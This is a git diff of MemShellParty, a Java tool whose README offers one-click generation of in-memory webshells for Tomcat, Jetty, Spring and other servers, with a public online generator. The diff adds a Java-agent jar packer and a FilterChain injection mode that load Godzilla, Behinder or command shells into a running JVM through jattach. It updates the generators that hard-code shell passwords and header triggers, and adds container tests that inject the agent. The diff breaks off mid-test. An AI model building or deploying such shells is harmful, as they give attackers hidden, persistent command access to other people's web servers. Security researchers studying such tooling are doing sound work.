diff --git a/README.md b/README.md index 46e14a66..7466a621 100644 --- a/README.md +++ b/README.md @@ -4,11 +4,12 @@

一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台

在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了

-[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file) -[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?label=Test&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions) -[![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/build.yaml?label=Build&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions) -[![coverage](https://img.shields.io/endpoint?label=Coverage&url=https://raw.githubusercontent.com/reajason/memshellparty/master/.github/badges/jacoco.json&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions) -[![telegram](https://img.shields.io/endpoint?label=TG%E4%BA%A4%E6%B5%81%E7%BE%A4&style=flat-square&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=memshell)](https://t.me/memshell) +[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?label=Test&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions) +[![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/build.yaml?label=Build&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions) +[![coverage](https://img.shields.io/endpoint?label=Coverage&url=https://raw.githubusercontent.com/reajason/memshellparty/master/.github/badges/jacoco.json&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions) +[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License&color=blueviolet)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file) +[![telegram](https://img.shields.io/endpoint?label=TG%E4%BA%A4%E6%B5%81%E7%BE%A4&style=flat-square&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=memshell&color=blueviolet)](https://t.me/memshell) + > [!WARNING] @@ -29,6 +30,13 @@ ## 快速启动 +### 在线站点 + +可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US +节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)) + +### 本地部署(推荐) + 使用 docker 部署之后访问 http://127.0.0.1:8080 ```bash @@ -41,12 +49,13 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh ### 中间件以及框架 -| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | -|----------------|---------------|------------------|---------------| -| Servlet | Servlet | Filter | Filter | -| Filter | Filter | Listener | Listener | -| Listener | Listener | Valve | Valve | -| Valve | | | | +| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | +|---------------------|---------------|------------------|---------------| +| Servlet | Servlet | Filter | Filter | +| Filter | Filter | Listener | Listener | +| Listener | Listener | Valve | Valve | +| Valve | | | | +| FilterChain - Agent | | | | | Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty | |--------------|-------------------|-----------------|-------| @@ -66,11 +75,11 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh | Filter | Filter | | Listener | Listener | -| 宝兰德 BES(9.5.x) | 东方通 TongWeb(6 ~ 7) | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS (9) | -|----------------|--------------------|---------------------------|------------------| -| Filter | Filter | Filter | Servlet | -| Listener | Listener | Listener | Filter | -| Valve | Valve | Valve | Listener | +| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | +|------------|----------------|------------------------|---------------| +| Filter | Filter | Filter | Servlet | +| Listener | Listener | Listener | Filter | +| Valve | Valve | Valve | Listener | ### 内存马功能 diff --git a/asserts/agent/jattach-linux b/asserts/agent/jattach-linux new file mode 100755 index 00000000..e924f5de Binary files /dev/null and b/asserts/agent/jattach-linux differ diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index a0fa3cd0..aa45b2d8 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -7,9 +7,12 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.packer.JarPacker; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; +import java.util.Base64; + /** * @author ReaJason * @since 2024/12/18 @@ -24,7 +27,12 @@ public class GeneratorController { ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); - String packResult = request.getPacker().getPacker().pack(generateResult); + String packResult = null; + if (request.getPacker().getPacker() instanceof JarPacker) { + packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult)); + } else { + packResult = request.getPacker().getPacker().pack(generateResult); + } return ResponseEntity.ok(new GenerateResponse(generateResult, packResult)); } -} +} \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index bf37eb5d..0d4ad59d 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -47,7 +47,7 @@ dependencies { implementation 'javax.servlet:javax.servlet-api:3.0.1' implementation 'javax.websocket:javax.websocket-api:1.1' implementation 'org.java-websocket:Java-WebSocket:1.5.7' - implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' + implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0' implementation 'xalan:xalan:2.7.0' implementation 'org.apache.bcel:bcel:5.2' diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index 9f29b6b5..98be07a0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -1,10 +1,7 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.generator.BehinderGenerator; -import com.reajason.javaweb.memshell.generator.CommandGenerator; -import com.reajason.javaweb.memshell.generator.GodzillaGenerator; -import com.reajason.javaweb.memshell.generator.InjectorGenerator; +import com.reajason.javaweb.memshell.generator.*; import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index 419767f3..ee3692cb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; +import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor; import com.reajason.javaweb.memshell.tomcat.injector.*; import org.apache.commons.lang3.tuple.Pair; @@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell { public static final String WEBSOCKET = "WebSocket"; public static final String UPGRADE = "Upgrade"; public static final String EXECUTOR = "Executor"; + public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; + public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain"; @Override protected Map, Class>> getCommandShellMap() { - return Map.of( - SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class), - JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class), - FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), - JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), - LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), - JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), - VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class), - WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class) + return Map.ofEntries( + Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)), + Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)), + Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)), + Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)), + Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)), + Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)), + Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)), + Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)), + Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)), + Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)), + Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)) ); } @@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell { LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class) + JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class), + AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class) ); } @@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell { LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), - JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class) + JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), + AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class), + AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class) ); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java index 48aeefc2..acb60e76 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java @@ -18,4 +18,6 @@ public class Constants { public static final String VALVE = "Valve"; public static final String JAKARTA_VALVE = "JakartaValve"; + + public static final String AGENT = "Agent"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java new file mode 100644 index 00000000..c984a90e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class AgentGenerator { + + private final ShellConfig config; + private final InjectorConfig injectorConfig; + + public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) { + this.config = config; + this.injectorConfig = injectorConfig; + } + + public byte[] getBytes() { + DynamicType.Builder builder = new ByteBuddy() + .redefine(injectorConfig.getInjectorClass()) + .name(injectorConfig.getInjectorClassName()) + .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) + .method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); + + if (config.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + try (DynamicType.Unloaded make = builder.make()) { + return make.getBytes(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index 6d0aa2a7..5b50af87 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; +import static net.bytebuddy.matcher.ElementMatchers.named; + /** * @author ReaJason * @since 2024/12/21 @@ -28,7 +27,7 @@ public class BehinderGenerator { public DynamicType.Builder getBuilder() { if (behinderConfig.getShellClass() == null) { - throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); + throw new IllegalArgumentException("behinderConfig.getClazz() == null"); } if (StringUtils.isBlank(behinderConfig.getPass())) { throw new IllegalArgumentException("behinderConfig.getPass().isBlank()"); @@ -39,11 +38,9 @@ public class BehinderGenerator { .redefine(behinderConfig.getShellClass()) .name(behinderConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) - .constructor(ElementMatchers.any()) - .intercept(SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("pass").setsValue(md5Key)) - .andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName())) - .andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue()))); + .field(named("pass")).value(md5Key) + .field(named("headerName")).value(behinderConfig.getHeaderName()) + .field(named("headerValue")).value(behinderConfig.getHeaderValue()); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java index 5fe760da..95bb64df 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java @@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.Implementation; -import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.matcher.ElementMatchers; + +import static net.bytebuddy.matcher.ElementMatchers.named; /** * @author ReaJason @@ -22,13 +20,12 @@ public class CommandGenerator { if (shellConfig.getShellClass() == null) { throw new IllegalArgumentException("shellConfig.getClazz() == null"); } - Implementation.Composable fieldSets = SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName())); + DynamicType.Builder builder = new ByteBuddy() .redefine(shellConfig.getShellClass()) .name(shellConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) - .constructor(ElementMatchers.any()).intercept(fieldSets); + .field(named("paramName")).value(shellConfig.getParamName()); if (config.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 701d9406..30e5bb14 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; +import static net.bytebuddy.matcher.ElementMatchers.named; + /** * @author ReaJason * @since 2024/11/23 @@ -40,13 +39,11 @@ public class GodzillaGenerator { .redefine(godzillaConfig.getShellClass()) .name(godzillaConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) - .constructor(ElementMatchers.any()) - .intercept(SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass())) - .andThen(FieldAccessor.ofField("key").setsValue(md5Key)) - .andThen(FieldAccessor.ofField("md5").setsValue(md5)) - .andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName())) - .andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue()))); + .field(named("pass")).value(godzillaConfig.getPass()) + .field(named("key")).value(md5Key) + .field(named("md5")).value(md5) + .field(named("headerName")).value(godzillaConfig.getHeaderName()) + .field(named("headerValue")).value(godzillaConfig.getHeaderValue()); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java new file mode 100644 index 00000000..ebc120ee --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java @@ -0,0 +1,83 @@ +package com.reajason.javaweb.memshell.packer; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.net.URL; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Enumeration; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +public class AgentJarPacker implements JarPacker { + + @Override + @SneakyThrows + public byte[] packBytes(GenerateResult generateResult) { + Path jarPath = Files.createTempFile("temp", ".jar"); + String mainClass = generateResult.getInjectorClassName(); + String advisorClass = generateResult.getShellClassName(); + + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + manifest.getMainAttributes().putValue("Agent-Class", mainClass); + manifest.getMainAttributes().putValue("Premain-Class", mainClass); + manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); + manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); + + try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) { + addDependency(targetJar, ByteBuddy.class); + + if (generateResult.getShellConfig().isJakarta()) { + addDependency(targetJar, jakarta.servlet.Servlet.class); + } else { + addDependency(targetJar, javax.servlet.Servlet.class); + } + + targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class")); + targetJar.write(generateResult.getInjectorBytes()); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class")); + targetJar.write(generateResult.getShellBytes()); + targetJar.closeEntry(); + } + byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile())); + FileUtils.deleteQuietly(jarPath.toFile()); + return byteArray; + } + + @SneakyThrows + public static void addDependency(JarOutputStream targetJar, Class baseClass) { + String packageToMove = baseClass.getPackage().getName().replace('.', '/'); + URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); + JarFile sourceJar = new JarFile(new File(sourceUrl.toURI())); + Enumeration entries = sourceJar.entries(); + while (entries.hasMoreElements()) { + JarEntry entry = entries.nextElement(); + String entryName = entry.getName(); + if (entryName.startsWith(packageToMove)) { + InputStream entryStream = sourceJar.getInputStream(entry); + targetJar.putNextEntry(new JarEntry(entryName)); + IOUtils.copy(entryStream, targetJar); + targetJar.closeEntry(); + entryStream.close(); + } + } + sourceJar.close(); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java new file mode 100644 index 00000000..d993363e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java @@ -0,0 +1,8 @@ +package com.reajason.javaweb.memshell.packer; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +public interface JarPacker extends Packer { +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 1eb66286..f8751b76 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -17,7 +17,13 @@ public interface Packer { * @param generateResult 生成的内存马信息 * @return 指定格式字节数组 */ - String pack(GenerateResult generateResult); + default String pack(GenerateResult generateResult) { + throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); + } + + default byte[] packBytes(GenerateResult generateResult) { + throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成"); + } /** * 部分打包器可能需要配置来进行额外的配置项 @@ -70,6 +76,8 @@ public interface Packer { Freemarker("Freemarker", new FreemarkerPacker()), Velocity("Velocity", new VelocityPacker()), + + AgentJar("AgentJar", new AgentJarPacker()), ; private final String desc; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java new file mode 100644 index 00000000..43d3b408 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.util.ClassUtils; +import lombok.SneakyThrows; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +class GodzillaGeneratorTest { + + @Test + @SneakyThrows + void generate() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(Constants.SERVLET) + .targetJreVersion(Opcodes.V1_6) + .debug(true) + .build(); + GodzillaConfig godzillaConfig = GodzillaConfig.builder() + .shellClass(GodzillaServlet.class) + .pass("pass") + .key("key") + .headerName("User-Agent") + .headerValue("test").build(); + DynamicType.Builder builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder(); + Class loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded(); + Object o = loaded.getDeclaredConstructor().newInstance(); + assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass")); + assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName")); + assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue")); + } +} \ No newline at end of file diff --git a/integration-test/build.gradle b/integration-test/build.gradle index b292971c..0fa27309 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -17,6 +17,10 @@ dependencies { testImplementation project(":behinder") testImplementation project(":godzilla") testImplementation project(':generator') + testImplementation 'javax.servlet:javax.servlet-api:3.0.1' + testImplementation 'javax.websocket:javax.websocket-api:1.1' + testImplementation 'org.java-websocket:Java-WebSocket:1.5.7' + testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0' testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' testImplementation 'org.slf4j:slf4j-simple:2.0.16' diff --git a/integration-test/script/tomcat_pid.sh b/integration-test/script/tomcat_pid.sh new file mode 100755 index 00000000..0af57ef9 --- /dev/null +++ b/integration-test/script/tomcat_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +ps -ef | grep Bootstrap | grep -v grep | awk '{print $2}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 02b7e5ea..ba68ea0c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -22,6 +22,9 @@ public class ContainerTool { public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath(); public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath(); + public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux")); + public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh")); + public static String getUrl(GenericContainer container) { String host = container.getHost(); int port = container.getMappedPort(8080); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 128b0ec3..be09d8bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -4,8 +4,19 @@ import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.memshell.SpringMVCShell; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.packer.JarPacker; import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.shaded.org.apache.commons.io.FileUtils; +import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author ReaJason @@ -13,17 +24,58 @@ import lombok.extern.slf4j.Slf4j; */ @Slf4j public class ShellAssertionTool { + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); + } + + @SneakyThrows + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer container) { String shellUrl = url + "/test"; - InjectorConfig injectorConfig = new InjectorConfig(); + String urlPattern = null; if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER) || shellType.equals(SpringWebFluxShell.HANDLER_METHOD) || shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION) ) { - String urlPattern = "/" + shellTool + shellType + packer.name(); + urlPattern = "/" + shellTool + shellType + packer.name(); shellUrl = url + urlPattern; + } + + GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer); + + String content = null; + if (packer.getPacker() instanceof JarPacker) { + byte[] bytes = packer.getPacker().packBytes(generateResult); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; + container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout(); + String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout(); + assertTrue(stdout.contains("JVM response code = 0")); + } else { + content = packer.getPacker().pack(generateResult); + assertInjectIsOk(url, 